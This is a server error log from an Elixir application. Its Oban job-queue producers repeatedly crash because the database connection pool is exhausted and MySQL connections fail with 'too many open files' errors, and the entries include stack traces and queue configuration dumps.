[Sat Sep  5 23:44:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:44:08.239783Z], limit: 20, uuid: "f7dc2e01-d8eb-4da5-8dc2-f1fc6118da52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27231>, refresh_timer: #Reference<0.2525715032.1099431938.27788>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:44:08.239310Z], limit: 3, uuid: "d1f345c7-dad9-410d-9aac-883320dfd2e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261060>, refresh_timer: #Reference<0.2525715032.1077411843.261041>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:23.919000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:25.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:27.367000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:44:20.242597Z], limit: 3, uuid: "9e97deb7-abf0-4639-8607-bedc0c59d3de", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.242603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27556>, refresh_timer: #Reference<0.2525715032.1121189889.135666>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:44:20.240274Z], limit: 5, uuid: "f62b8fec-c99b-498e-af31-91812688a278", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.240279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27555>, refresh_timer: #Reference<0.2525715032.1121189889.135653>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:44:20.240038Z], limit: 20, uuid: "929fbd78-ad29-428d-ad94-fbc95bb46d40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.240043Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27557>, refresh_timer: #Reference<0.2525715032.1099431938.27909>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:44:20.240174Z], limit: 5, uuid: "c236c258-1dd2-4a27-8b4a-6db262dd35a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.240180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27559>, refresh_timer: #Reference<0.2525715032.1099431938.27916>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:44:20.239964Z], limit: 50, uuid: "3edc8616-9d36-4ff8-8485-c462a8140c6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.239971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261228>, refresh_timer: #Reference<0.2525715032.1077411843.261203>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:44:20.239268Z], limit: 10, uuid: "6edb0270-2ecd-4e4f-8249-aad4b2ffd7fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:20.239275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27558>, refresh_timer: #Reference<0.2525715032.1099431938.27883>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:31.514000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:32.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:33.704000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:33.765000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:35.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:40.039000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:40.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:42.415000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
